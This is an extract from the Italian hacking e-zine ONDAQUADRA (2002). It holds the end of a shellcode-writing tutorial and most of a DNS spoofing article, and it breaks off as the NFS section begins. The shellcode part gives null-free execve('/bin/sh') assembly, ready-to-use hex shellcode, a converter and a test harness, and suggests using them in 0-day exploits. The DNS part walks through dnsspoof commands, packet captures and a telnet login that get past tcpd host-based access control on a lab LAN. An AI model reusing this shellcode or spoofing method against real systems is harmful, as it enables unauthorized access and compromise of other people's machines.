| 0x80483b8 <main+4>: 0x62 |
| (gdb) |
| 0x80483b9 <main+5>: 0x7c |
| (gdb) |
| 0x80483ba <main+6>: 0xfb |
| (gdb) |
| 0x80483bb <main+7>: 0xf7 |
| (gdb) |
| 0x80483bc <main+8>: 0x5e |
| (gdb) |
| 0x80483bd <main+9>: 0x89 |
| (gdb) |
| 0x80483be <main+10>: 0x76 |
| (gdb) |
| 0x80483bf <main+11>: 0x08 |
| (gdb) |
| 0x80483c0 <main+12>: 0xc7 |
| (gdb) |
| 0x80483c1 <main+13>: 0x46 |
| (gdb) |
| 0x80483c2 <main+14>: 0x0c |
| (gdb) |
| 0x80483c3 <main+15>: 0x00 <--- queste 4 linne non vanno bene |
| (gdb) |
| 0x80483c4 <main+16>: 0x00 |
| (gdb) |
| 0x80483c5 <main+17>: 0x00 |
| (gdb) |
| 0x80483c6 <main+18>: 0x00 |
| (gdb) |
| 0x80483c7 <main+19>: 0xc6 |
| (gdb) |
| 0x80483c8 <main+20>: 0x46 |
| (gdb) |
| 0x80483c9 <main+21>: 0x07 |
| (gdb) |
| 0x80483ca <main+22>: 0x00 <--- altra linea incriminata |
| (gdb) |
| 0x80483cb <main+23>: 0x89 |
| (gdb) |
| 0x80483cb <main+23>: 0x89 |
| (gdb) |
| 0x80483cc <main+24>: 0xf3 |
| (gdb) |
| 0x80483cd <main+25>: 0x8d |
| (gdb) |
| 0x80483ce <main+26>: 0x4e |
| (gdb) |
| 0x80483cf <main+27>: 0x08 |
| (gdb) |
| 0x80483d0 <main+28>: 0x80 |
| (gdb) |
| 0x80483d1 <main+29>: 0x56 |
| (gdb) |
| 0x80483d2 <main+30>: 0x0c |
| (gdb) |
| 0x80483d3 <main+31>: 0xb8 |
| (gdb) |
| 0x80483d4 <main+32>: 0x0b |
| (gdb) |
| 0x80483d5 <main+33>: 0x00 <-- bisogna rimediare anche qui |
| (gdb) |
| 0x80483d6 <main+34>: 0x00 |
| (gdb) |
| 0x80483d6 <main+34>: 0x00 |
| (gdb) |
| 0x80483d7 <main+35>: 0x00 |
| (gdb) |
| 0x80483d8 <main+36>: 0xcd |
| (gdb) |
| 0x80483d9 <main+37>: 0x80 |
| (gdb) |
| 0x80483da <main+38>: 0xe8 |
| (gdb) |
| 0x80483db <main+39>: 0xfe |
| (gdb) |
| 0x80483dc <main+40>: 0x7b |
| (gdb) |
| 0x80483dd <main+41>: 0xfb |
| (gdb) |
| 0x80483de <main+42>: 0xf7 |
| (gdb) |
| 0x80483df <main+43>: 0x2f |
| (gdb) |
| 0x80483e0 <main+44>: 0x62 |
| (gdb) |
| 0x80483e1 <main+45>: 0x69 |
| (gdb) |
| 0x80483e2 <main+46>: 0x6e |
| (gdb) |
| 0x80483e3 <main+47>: 0x2f |
| (gdb) |
| 0x80483e4 <main+48>: 0x73 |
| (gdb) |
| 0x80483e5 <main+49>: 0x68 |
| |
| Bisogna ottimizzare il codice assembler, eliminando gli zeri. |
| |
| Le istruzione incriminate sono le seguenti: |
| |
| movb $0x0,0x7(%esi) |
| movl $0x0,0xc(%esi) |
| movl $0xb,$eax |
| |
| Ma se dobbiamo utilizzare lo zero, per esempio per azzerare un |
| registro ? Chi programma in assembler sa che in genere per azzerare i |
| registri non si usa mov $0x0, %eax; al suo posto si puo' utilizzare |
| xorl %eax,%eax. L'or-esclusivo (xor) del registro con se stesso da |
| come risultato zero. Infatti, se seguiamo le regole dell'operatore |
| logico xor |
| |
| 1 e 1 = 0 |
| 1 e 0 = 1 |
| 0 e 1 = 1 |
| 0 e 0 = 0 |
| |
| e le applichiamo al seguente caso: |
| |
| 10010110 xor 10010110 |
| otteniamo |
| |
| 10010110 xor |
| 10010110 |
| -------- |
| 00000000 |
| |
| Lo xor di un numero con se stesso da come risultato 0. |
| |
| Quindi, inseriamo la linea |
| |
| xorl %eax,%eax |
| |
| ed effettuiamo le mov necessarie: |
| |
| movb %al,0x7(%esi) |
| movl %eax,0xc(%esi) |
| |
| Infine cambiamo un opcode. Al posto di |
| movl $0xb,$eax |
| |
| mettiamo |
| movb $0xb,%al |
| |
| La differenza tra i due opcode e' che il primo coinvolge tutto il |
| registro eax, mentre il secondo solo la parte bassa di eax, ovvero |
| "al" il "registrino" a 8 bit "contenuto" in eax. |
| Mettere il valore "0xb" (ovvero il cocide di execve) in "al" prima |
| di chiamare int 80 e' il nostro scopo, quindi questa soluzione ci |
| andra' benissimo. |
| |
| In alternativa a xor, si potrebbe usare l'istruzione sub. Per esempio |
| sub eax,eax ottiene l'effetto di azzerare il registro. |
| |
| Ora il nostro shellcode avra' questo aspetto: |
| |
| shell2.c |
| void main(){ |
| __asm__("jmp fine \n" |
| "inizio: popl %esi \n" |
| "movl %esi,0x8(%esi) \n"

  
|
| "xorl %eax,%eax \n" |
| "movb %al,0x7(%esi) \n" |
| "movl %eax,0xc(%esi) \n" |
| "movl %esi,%ebx \n" |
| "leal 0x8(%esi),%ecx \n" |
| "leal 0xc(%esi),%edx \n" |
| "movb $0xb,%al \n" |
| "int $0x80 \n" |
| "fine: call inizio \n" |
| ".string \"/bin/sh\" \n"); |
| } |
| |
| |
| Compiliamolo con gcc shell2.c -o shell2 e lanciamo gdb |
| |
| gdb shell2 |
| |
| Analizzando il nostro codice con xb/x non troveremo zeri ;) |
| |
| |
| 4.2 La Via della Mano Destra |
| ----------------------------- |
| In tutti gli exploit noi vediamo lo shellcode in questa forma: |
| |
| char c0de[]= |
| "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3" |
| "\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f" |
| "\x62\x69\x6e\x2f\x73\x68"; |
| |
| L'ultima nostra fatica sara' quella di convertire il codice macchina |
| in stringhe contenenti codice esadecimale da inserire nell'exploit |
| stesso. |
| |
| Le vie sono 2: |
| 1. a manina |
| 2. usando un programma |
| |
| Se siamo masochisti useremo la via dei folli, ovvero la Via della Mano |
| Sinistra, la prima. |
| |
| Compiliamo il nostro codicillo, entriamo in gdb, scandagliamo il |
| codice e lo copiamo a mano, ovvero: |
| |
| gcc shell2.c -o shell2 |
| gdb shell2 |
| |
| (gdb) xb/x main+3 (saltiamo il preambolo che non ci serve) |
| |
| 0x80483c3 <main+3>: 0xeb |
| (gdb) |
| 0x80483c4 <main+4>: 0x18 |
| (gdb) |
| 0x80483c5 <main+5>: 0x5e |
| (gdb) |
| 0x80483c6 <main+6>: 0x89 |
| (gdb) |
| ... |
| ... |
| ... |
| |
| Prendiamo 0xeb e lo copiamo, prendiamo 0x18 e lo copiamo... |
| |
| In alternativa possiamo usare la Via della Mano Destra, la via |
| contemplativa: facciamo un programmino. Anzi, quei santi ragazzi dei |
| teso hanno gia' provveduto. Lo scriptino allegato fa al caso nostro. |
| |
| 8<---outp.c |
| #include <stdio.h> |
| /* |
| convert .s to shellcode. typo/teso (typo@inferno.tusculum.edu) |
| $ cat lala.s |
| .globl cbegin |
| .globl cend |
| cbegin: |
| xorl %eax, %eax |
| ... |
| cend: |
| $ gcc -Wall lala.s outp.c -o lala |
| $ ./lala |
| unsigned char shellcode[] = |
| "\x31\xc0\x31\xdb\x31\xc9\xb3\x0f\xb1\x0f\xb0\x47\xcd\x80\xeb\x1e\x5b" |
| "\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x8d\x53\x0c" |
| "\xb0\x0b\xcd\x80\x89\xc3\x31\xc0\xb0\x01\xcd\x80\xe8\xdd\xff\xff\xff" |
| "\x2f\x74\x6d\x70\x2f\x74\x73\x74\x65\x73\x6f\x63\x72\x65\x77\x21\x21"; |
| ... |
| */
|
| extern void cbegin(); |
| extern void cend(); |
| int main() { |
| char *buf = (char *) cbegin; |
| int i = 0, x = 0; |
| printf("unsigned char shellcode[] = \n\""); |
| for (; (*buf) && (buf < (char *) cend); buf++) { |
| if (i++ == 17) i = 1; |
| if (i == 1 && x != 0) printf("
\"\n\""); |
| x = 1; |
| printf("
\\x%02x", (unsigned char) *buf); |
| } |
| printf("
\";\n");p |
| printf("int main() {void (*f)();f = (void *) shellcode; |
| printf(\"
%%d\\n\",strlen(shellcode));f();}"); |
| return(0); |
| } |
| 8<--- |
| |
| L'uso e' semplicissimo. |
| Compiliamo la nostra shellcode con -S per produrre il listato |
| assembler e quindi compiliamo il prodotto con outp.c dei teso: |
| |
| gcc shell2.c -S |
| gcc shell2.s outp.c -o codicillo |
| |
| eseguendo il programma cosi' ottenuto (ovvero "codicillo") si otterra' |
| la shellcode in formato stringa/hex e una funzione per testarla. |
| Cosi' per interderci: |
| |
| unsigned char shellcode[] = |
| "\xeb\x20\x5e\x89\x76\x08\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xc0\x89" |
| "\x46\x0c\x88\x46\x07\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80" |
| "\xe8\xdb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; |
| |
| int main() { |
| |
| void (*f)(); |
| |
| f = (void *) shellcode; |
| printf("%d\n", strlen(shellcode)); |
| f(); |
| |
| } |
| |
| Se funziona, potra' essere distribuita o utilizzata nei nostri |
| meravigliosi 0day |
| :))) |
| |
| ./codicillo > mioshellcode.c |
| |
| gcc mioshellcode.c -o mioshellcode |
| ./mioshellcode. |
| |
| Attenzione: il codice dei teso prevede la presenza di due label |
| "cbegin:" e "cend:" prima della shellcode e subito dopo; inoltre |
| otterrete un errore se utilizzerete il nome "main" per la funzione |
| della shellcode: sostituitelo con "cmain" e tutto dovrebbe funzionare. |
| |
| |
| 5. Conclusione |
| ------------------------------------------------------------------------ |
| Nessuno si illuda. Una volta acquisiti i concetti qui espressi non si |
| diventa automaticamente "hacker". Queste conoscenze rappresentano il |
| know-how di base per chi vuole intraprendere la strada della nobile |
| arte hackeresca. |
| |
| Questi sono argomenti gia' conosciuti, triti e ritriti, quasi banali |
| dal punto di vista dell'hacking. La via del cracker di professione o |
| dell'ethical hacker e' assai lunga e complicata: questo e' solo |
| l'inizio. |
| |
| Lo shellcode che abbiamo visto e' molto semplice (ma efficace). In |
| realta' spesso cio' non basta. Potremmo aver bisogno di bindare la |
| shell sul tcp, droppare la rootshell in /tmp, aprire una sessione |
| telnet inversa... Il limite e' dato dalla fantasia e dall'abilita'. |
| |
| Inoltre bisogna considerare la presenza di IDS. Esistono tecniche che |
| permettono di "beffarli". Su un vecchio numero di phrack e' stato |
| presentato un compilatore di shellcode che permette di trasformare il |
| codice prodotto utilizzando solo caratteri stampabibli. |
| |
| Questo articolo ha cercato di spiegare alcuni concetti che forse erano |
| ancora oscuri a molti, e ha voluto far intravedere ad altri la |
| meraviglia dell'arcana programmazione in assembler. Forse qualcuno |
| abbandonera' i trojan o gli scriptz e cerchera' finalmente di capire |
| che cosa sta facendo... |
| |
| |
| 6. Fonti |
| ------------------------------------------------------------------------ |
| "Smashing The Stack For Fun And Profit", Aleph1 |
| "Introduction to Buffer Overflow", Ghost_Rider |
| "The Art of Writing Shellcode", smiler |
| "How to write Buffer Overflows", mudge |
| "outp.c", typo/teso |
| "Il manuale 80386". (McGrwaHill) llC.H. Pappas, W.H. Murray III |
| |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [HACKiNG] #06 - 25/04/2002 |
| DNS SP00F ATTACK [E4zy] 0x06/0x1D |
+--------------------------------------------------------------------------+
| |
| 1. Introduzione |
| |
| 2. DNS Query & Reply |
| |
| 3. Dnsspoof |
| 3.1 Sintassi |
| 3.2 Esempio |
| |
| 4. TCP Wrapper |
| 4.1 Tcpd bypass |
| |
| 5. NFS Service |
| 5.1 NFS server bypass |
| 5.2 Exportfs |
| 5.3 NFS client bypass |
| |
| 6. Contromisure |
| |
| 7. Risorse |
| |
| |
| |
| 1. Introduzione |
| Bind (Berkeley Internet Name Domain) è la più comune implementazione del |
| protocollo DNS nei sistemi Unix like, named è il nome del demone |
| responsabile della risoluzione dei nomi di dominio e sarà proprio di |
| esso che ci serviremo per applicare quanto spiegato nel corso di questo |
| articolo. |
| La strada di Bind e dei servizi DNS in generale è costellata di falle |
| nella sicurezza, talvolta queste derivano dal demone ma altre volte da |
| vulnerabilità insite negli stessi protocolli di rete. Il caso del DNS |
| spoofing in particolare ricade nella seconda categoria e per tale motivo |
| risulta indipendente dal programma demone e dal sistema operativo. |
| |
| 2. DNS Query & Reply |
| Gli hostname risultano più gradevoli e più facilmente memorizzabili alla |
| maggior parte della gente che usufruisce dei servizi offerti dalla Rete, |
| pertanto è necessario un servizio in grado di fornire una relazione tra |
| gli hostname e gli indirizzi IP presenti su Internet, questa funzione è |
| svolta egregiamente dai server DNS. |
| I resolver, ovvero i programmi che generano le interrogazioni verso un |
| NS (NameServer), si avvalgono del protocollo UDP notoriamente insicuro |
| in quanto non garantisce l'avvenuta ricezione del pacchetto da parte |
| dell'host destinatario (non confermato) e non stabilisce una connessione |
| (non connesso), dando modo ad un malintenzionato di ledere alla |
| sicurezza della sessione stessa. |
| Una query DNS (interrogazione) può essere intercettata da un host remoto |
| malevolo il quale spoofando il source address del pacchetto IP può |
| inviare una risposta al mittente come se provenisse dal server DNS, la |
| DNS reply conterrà informazioni atte all'alterazione della sessione che |
| il mittente della query si appresta ad intraprendere. |
| Naturalmente questa tecnica avrà successo solo nel caso in cui la |
| risposta fasulla dovesse giungere a destinazione prima della reply |
| legittima proveniente dal NS che verrebbe di conseguenza ignorata. |
| |
| 3. Dnsspoof |
| Dnsspoof fa parte del pacchetto Dsniff reperibile all'indirizzo |
| http://www.monkey.org/~dugsong/dsniff, questo è anche il nome del tool |
| che utilizzerò durante la trattazione di questo articolo per illustrare |
| le modalità con cui un attacker ha la possibilità di portare a termine |
| con successo un attacco di DNS spoofing contro la nostra macchina. |
| L'ambiente ideale per mettere in atto questa tecnica è rappresentato da |
| una rete locale NON commutata(1) che agevola lo sniffing del traffico |
| inoltrando i pacchetti a tutti gli host che la popolano, ad esempio una |
| rete dotata di HUB. |
| |
| (1)commutata: in cui vi è la presenza di dispositivi di rete quali |
| switch che dividono la rete in diversi segmenti tra loro indipendenti, i |
| pacchetti vengono inoltrati ad uno solo dei segmenti di rete popolati da |
| un numero limitato di host. |
| |
| 3.1 Sintassi |
| Usage: dnsspoof [-i interface] [-f hostsfile] [expression] |
| dove: |
| -i interface |
| rappresenta l'interfaccia di rete sulla quale si desidera |
| rimanere in ascolto |
| |
| -f hostsfile |
| permette di specificare il percorso del file contenente le |
| associazioni IP/hostname che si desidera spoofare, esempio: |
| |
| 192.168.1.1 trust.dominio.it |
| |
| in questo modo qualsiasi query che cerchi di risolvere il |
| nome host trust.dominio.it riceverà una reply fasulla con |
| l'IP 192.168.1.1, la stessa cosa vale per le operazioni di |
| lookup |
| |
| expression |
| permette di specificare delle espressioni al fine di filtrare |
| in modo selettivo i pacchetti da sniffare |
| |
| 3.2 Esempio |
| Quello che segue è un semplice esempio che ha lo scopo di illustrare il |
| funzionamento di Dnsspoof prima di addentrarci nell'analisi degli |
| attacchi veri e propri alle risorse di rete: |
| |
| attacker@attack:~$ host trust |
| trust.linuxbox.com. has address 192.168.1.6 |
| |
| Il comando host ci permette di interrogare il nostro server DNS primario |
| il cui indirizzo IP è contenuto all'interno del file /etc/resolv.conf, |
| nell'esempio il server DNS restituisce come risposta l'IP effettivo |
| dell'host che risponde all'hostname trust.linuxbox.com. |
| Ora proviamo ad eseguire il programma Dnsspoof in questo modo: |
| |
| attacker@attack:~# dnsspoof -f ~/hosts.txt udp dst port 53 |
| dnsspoof: listening on eth0 [udp dst port 53] |
| |
| dove il file hosts.txt che si trova nella directory ~ (home) dell'utente |
| contiene le relazioni IP/hostname che si desidera spoofare, in questo |
| esempio: |
| |
| 192.168.1.4 trust.linuxbox.com |
| |
| l'espressione "udp dst port 53" specifica che il programma si limiti a |
| sniffare i soli pacchetti UDP destinati alla porta 53, ovvero la porta |
| adibita alle query DNS. |
| Ora ripetiamo il comando host utilizzato in precedenza e se tutto è |
| andato come previsto noteremo con sorpresa che l'oputput del comando è |
| cambiato e l'IP restituito dall'interrogazione è lo stesso che abbiamo |
| fornito come input al programma Dnsspoof: |
| |
| attacker@attack:~$ host trust |
| trust.linuxbox.com. has address 192.168.1.4 |
| |
| Ecco l'output di Dnsspoof: |
| |
| attacker@attack:~# dnsspoof -f ~/hosts.txt udp dst port 53 |
| dnsspoof: listening on eth0 [udp dst port 53] |
| 192.168.1.4.1079 > 192.168.1.5.53: 34196+ A? trust.linuxbox.com |
| |
| Ma cosa è successo realmente? E' presto detto. |
| Come si può notare poche righe più sopra, Dnsspoof ha sniffato una query |
| proveniente dal nostro stesso host che rispondeva ai criteri specificati |
| e ha anticipato la risposta del NS rispondendo in sua vece e fornendo un |
| indirizzo IP fasullo. |
| |
| 4. TCP Wrapper |
| Tcpd, conosciuto anche con il nome di Tcp wrapper, è un demone che come |
| molti altri programmi fa affidamento al servizio DNS per risolvere i |
| nomi host che interessano tale processo. E' proprio questa eccessiva |
| fiducia che rende tale strumento del tutto insicuro se viene utilizzato |
| in maniera errata. |
| Lo scopo di tcpd è quello di monitorare la provenienza delle richieste |
| inoltrate dall'esterno della rete e consentire o meno l'accesso a |
| determinati servizi sulla base di liste di controllo degli accessi |
| rappresentate rispettivamente dai file /etc/hosts.allow e |
| /etc/hosts.deny |
| Esso può essere tratto in inganno qualora facesse affidamento a un |
| server DNS remoto per la risoluzione degli hostname presenti nelle liste |
| di controllo degli accessi. |
| |
| 4.1 Tcpd bypass |
| Un possibile scenario d'attacco è rappresentato da una rete locale con |
| le seguenti specifiche: |
| |
| Hostname Indirizzi IP Descrizione |
| |
| attack.linuxbox.com 192.168.1.4 l'host dell'attacker |
| dns.linuxbox.com 192.168.1.5 il server DNS |
| trust.linuxbox.com 192.168.1.6 il sistema "fidato" |
| victim.linuxbox.com 192.168.1.7 il server che utilizza tcpd |
| |
| La tecnica che mi appresto a descrivere è resa possibile da un uso |
| improprio delle liste di accesso hosts.allow e hosts.deny, come potremo |
| vedere in seguito è caldamente sconsigliato l'utilizzo di hostname come |
| entry per questi file. |
| |
| /etc/hosts.allow: |
| ALL:trust.linuxbox.com |
| |
| /etc/hosts.deny: |
| ALL:ALL |
| |
| Il file hosts.allow permette l'accesso a tutti i servizi (ALL) purchè la |
| richiesta provenga dal sistema trust.linuxbox.com, il file hosts.deny |
| rifiuta quasiasi accesso non sia esplicitamente indicato nel file |
| hosts.allow. |
| |
| Ecco cosa accade se cerchiamo di connetterci a victim dall'host attack, |
| il quale da quanto specificato nelle access list non è autorizzato a |
| stabilire una connessione: |
| |
| attacker@attack:~$ telnet 192.168.1.7 23 |
| Trying 192.168.1.7... |
| Connected to 192.168.1.7. |
| Escape character is '^]'. |
| Connection closed by foreign host. |
| |
| Il tentativo di connessione è scongiurato da tcpd! |
| Qui di seguito l'output di Snort ci aiuta a capire cos'è successo e ci |
| permette di fare alcune riflessioni, ogni pacchetto è commentato nei |
| minimi dettagli al fine di rendere più semplice la comprensione: |
| |
| attacker@attack:~# snort -vd udp port 53 |
| 02/18-20:05:13.455540 192.168.1.7:1026 -> 192.168.1.5:53 |
| UDP TTL:209 TOS:0x0 ID:26910 IpLen:20 DgmLen:70 DF |
| Len: 50 |
| 9D FA 01 00 00 01 00 00 00 00 00 00 01 34 01 31 .............4.1 |
| 03 31 36 38 03 31 39 32 07 69 6E 2D 61 64 64 72 .168.192.in-addr |
| 04 61 72 70 61 00 00 0C 00 01 .arpa..... |
| |
| =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ |
| |
| L'host con IP 192.168.1.7 (victim), una volta contattato dall'host |
| attack che desidera connettersi, controlla la propria lista di accesso |
| alla ricerca di un IP/hostname che corrisponda a quello del sistema |
| richiedente ovvero 192.168.1.4 (attack), la prima voce che trova è |
| relativa all'hostname trust.linuxbox.com, a questo punto a victim non |
| resta che risolvere l'IP di cui è in possesso (192.168.1.4) nel |
| rispettivo hostname al fine di verificarne un'eventuale corrispondenza. |
| Pertanto si rende necessaria un'interrogazione al server DNS e qualora |
| l'hostname ottenuto dovesse risultare pari a quello presente in |
| hosts.allow l'accesso alle risorse sarà consentito. |
| |
| 02/18-20:05:13.456022 192.168.1.5:53 -> 192.168.1.7:1026 |
| UDP TTL:64 TOS:0x0 ID:119 IpLen:20 DgmLen:137 |
| Len: 117 |
| 9D FA 85 80 00 01 00 01 00 01 00 01 01 34 01 31 .............4.1 |
| 03 31 36 38 03 31 39 32 07 69 6E 2D 61 64 64 72 .168.192.in-addr |
| 04 61 72 70 61 00 00 0C 00 01 C0 0C 00 0C 00 01 .arpa........... |
| 00 01 51 80 00 15 06 61 74 74 61 63 6B 08 6C 69 ..Q....attack.li |
| 6E 75 78 62 6F 78 03 63 6F 6D 00 C0 0E 00 02 00 nuxbox.com...... |
| 01 00 01 51 80 00 06 03 64 6E 73 C0 3D C0 57 00 ...Q....dns.=.W. |
| 01 00 01 00 01 51 80 00 04 C0 A8 01 05 .....Q....... |
| |
| =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ |
| |
| Il server DNS risponde a 192.168.1.7 (victim) dicendo che l'hostname |
| relativo all'IP del richiedente (192.168.1.4) risulta essere |
| attack.linuxbox.com che è palesemente diverso da trust.linuxbox.com. |
| |
| 02/18-20:05:13.469858 192.168.1.7:1026 -> 192.168.1.5:53 |
| UDP TTL:219 TOS:0x0 ID:29268 IpLen:20 DgmLen:65 DF |
| Len: 45 |
| 9D FB 01 00 00 01 00 00 00 00 00 00 06 61 74 74 .............att |
| 61 63 6B 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D ack.linuxbox.com |
| 00 00 01 00 01 ..... |
| |
| =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ |
| |
| A questo punto victim fa un'ulteriore richista al fine di risolvere il |
| nome host ottenuto in precedenza dal lookup di 192.168.1.4 |
| (attack.linuxbox.com) nuovamente nell'indirizzo IP per una maggiore |
| garanzia. |
| |
| 02/18-20:05:13.470293 192.168.1.5:53 -> 192.168.1.7:1026 |
| UDP TTL:64 TOS:0x0 ID:120 IpLen:20 DgmLen:115 |
| Len: 95 |
| 9D FB 85 80 00 01 00 01 00 01 00 01 06 61 74 74 .............att |
| 61 63 6B 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D ack.linuxbox.com |
| 00 00 01 00 01 C0 0C 00 01 00 01 00 01 51 80 00 .............Q.. |
| 04 C0 A8 01 04 C0 13 00 02 00 01 00 01 51 80 00 .............Q.. |
| 06 03 64 6E 73 C0 13 C0 41 00 01 00 01 00 01 51 ..dns...A......Q |
| 80 00 04 C0 A8 01 05 ....... |
| |
| =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ |
| |
| L'IP restituito è nuovamente quello di attack ovvero 192.168.1.4. |
| La connessione è perciò inibita dal tcp wrapper che non trova alcuna |
| rispondenza tra l'hostname restituito dal resolver (attack.linuxbox.com) |
| e le voci contenute nelle liste di controllo. |
| |
| Come può un malintenzionato aggirare tali restrizioni d'accesso? |
| Usando la tecnica del DNS spoofing naturalmente! |
| |
| Torniamo al nostro esempio, ovvero stessi IP/hostname dello scenario d' |
| attacco precedente, il nostro attacker potrà operare come segue al fine |
| di ottenere un accesso non consentito al sistema victim: |
| |
| attacker@attack:~# echo "192.168.1.4 trust.linuxbox.com" > ~/hosts.txt |
| attacker@attack:~# cat ~/hosts.txt |
| 192.168.1.4 trust.linuxbox.com |
| |
| In questo modo abbiamo creato il file hosts.txt nella dir ~ (home) dell' |
| utente sul sistema attack, sarà lo stesso file che utilizzeremo come |
| input per il programma Dnsspoof. |
| |
| attacker@attack:~# dnsspoof -f ~/hosts.txt |
| dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.4] |
| |
| Ora Dnsspoof è in ascolto in attesa di qualsiasi DNS query il cui source |
| address non corrisponda al nostro. Non vogliamo spoofare le query che |
| effettuamo noi vero? :) |
| |
| A questo punto non resta che stabilire una connessione con l'host victim |
| che come vedete adesso accetta la nostra richiesta e ci da accesso: |
| |
| attacker@attack:~$ telnet 192.168.1.7 23 |
| Trying 192.168.1.7... |
| Connected to 192.168.1.7. |
| Escape character is '^]'. |
| |
| victim login: |
| |
| Cosa è successo? |
| Non siamo l'host trust eppure ci ha permesso di connetterci in quanto |
| gli abbiamo fatto credere di esserlo! |
| |
| attacker@attack:~# dnsspoof -f ~/hosts.txt |
| dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.4] |
| 192.168.1.7.1026 > 192.168.1.5.53: 53493+ PTR? 4.1.168.192.in-addr.arpa |
| 192.168.1.7.1026 > 192.168.1.5.53: 53494+ A? trust.linuxbox.com |
| |
| Come si può vedere dall'output di Dnsspoof le query rivolte al DNS sono |
| state tempestivamente intercettate e il programma ha provveduto a |
| fornire ad esse una risposta come da noi richiesto e come se |
| provenissero realmente dal server DNS, questo ha dato modo al demone |
| tcpd di credere che l'hostname associato all'IP del richiedente |
| (192.168.1.4) fosse proprio trust.linuxbox.com il quale risulta |
| autorizzato. |
| Vediamo ora l'output di Snort che ci permette di scattare un'istantanea |
| di quanto è avvenuto, ho provveduto a fornire i commenti dove l'ho |
| ritenuto necessario: |
| |
| attacker@attack:~# snort -vd udp port 53 |
| 02/18-19:50:43.511279 192.168.1.7:1026 -> 192.168.1.5:53 |
| UDP TTL:106 TOS:0x0 ID:36520 IpLen:20 DgmLen:70 DF |
| Len: 50 |
| D0 F5 01 00 00 01 00 00 00 00 00 00 01 34 01 31 .............4.1 |
| 03 31 36 38 03 31 39 32 07 69 6E 2D 61 64 64 72 .168.192.in-addr |
| 04 61 72 70 61 00 00 0C 00 01 .arpa..... |
| |
| =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ |
| |
| Victim chiede al server DNS a che hostname corrisponde l'IP address |
| 192.168.1.4 per poter fare un confronto tra l'hostname del richiedente e |
| l'hostname contenuto in hosts.allow ovvero trust.linuxbox.com. |
| |
| 02/18-19:50:43.511764 192.168.1.5:53 -> 192.168.1.7:1026 |
| UDP TTL:64 TOS:0x0 ID:102 IpLen:20 DgmLen:137 |
| Len: 117 |
| D0 F5 85 80 00 01 00 01 00 01 00 01 01 34 01 31 .............4.1 |
| 03 31 36 38 03 31 39 32 07 69 6E 2D 61 64 64 72 .168.192.in-addr |
| 04 61 72 70 61 00 00 0C 00 01 C0 0C 00 0C 00 01 .arpa........... |
| 00 01 51 80 00 15 06 61 74 74 61 63 6B 08 6C 69 ..Q....attack.li |
| 6E 75 78 62 6F 78 03 63 6F 6D 00 C0 0E 00 02 00 nuxbox.com...... |
| 01 00 01 51 80 00 06 03 64 6E 73 C0 3D C0 57 00 ...Q....dns.=.W. |
| 01 00 01 00 01 51 80 00 04 C0 A8 01 05 .....Q....... |
| |
| =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ |
| |
| La risposta a tale query contiene l'hostname reale dell'host 192.168.1.4 |
| ma quest'ultima ARRIVA DOPO la risposta fasulla fornita da Dnsspoof e |
| pertanto viene ignorata. |
| |
| 02/18-19:50:43.514447 192.168.1.7:1026 -> 192.168.1.5:53 |
| UDP TTL:149 TOS:0x0 ID:44934 IpLen:20 DgmLen:64 DF |
| Len: 44 |
| D0 F6 01 00 00 01 00 00 00 00 00 00 05 74 72 75 .............tru |
| 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. |
| 00 01 00 01 .... |
| |
| =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ |
| |
| Victim a questo punto richiede l'IP dell'hostname ottenuto dalla query |
| precedente che risulta appunto essere trust.linuxbox.com in seguito alla |
| reply fasulla da parte di Dnsspoof:) |
| |
| 02/18-19:50:43.514866 192.168.1.5:53 -> 192.168.1.7:1026 |
| UDP TTL:64 TOS:0x0 ID:103 IpLen:20 DgmLen:114 |
| Len: 94 |
| D0 F6 85 80 00 01 00 01 00 01 00 01 05 74 72 75 .............tru |
| 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. |
| 00 01 00 01 C0 0C 00 01 00 01 00 01 51 80 00 04 ............Q... |
| C0 A8 01 06 C0 12 00 02 00 01 00 01 51 80 00 06 ............Q... |
| 03 64 6E 73 C0 12 C0 40 00 01 00 01 00 01 51 80 .dns...@......Q. |
| 00 04 C0 A8 01 05 ...... |
| |
| =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ |
| |
| Questa risposta sarà ricevuto solo IN SEGUITO a quella fornita dal |
| programma di spoofing del DNS e sarà perciò ignorata. |
| |
| Alla luce di quanto detto victim crederà a tutti gli effetti di avere a |
| che fare con trust.linuxbox.com e acconsentirà inconsapevolmente alla |
| connessione di attack.linuxbox.com. |
| |
| 5. NFS Service |
| I servizi NFS (Network File System) sono stati sviluppati allo scopo di |
| permettere il mount di partizioni di disco remote, se mal configurato |
| questo servizio può essere tratto in inganno da un utente remoto non |
| autorizzato che voglia accedere alle partizioni condivise. |
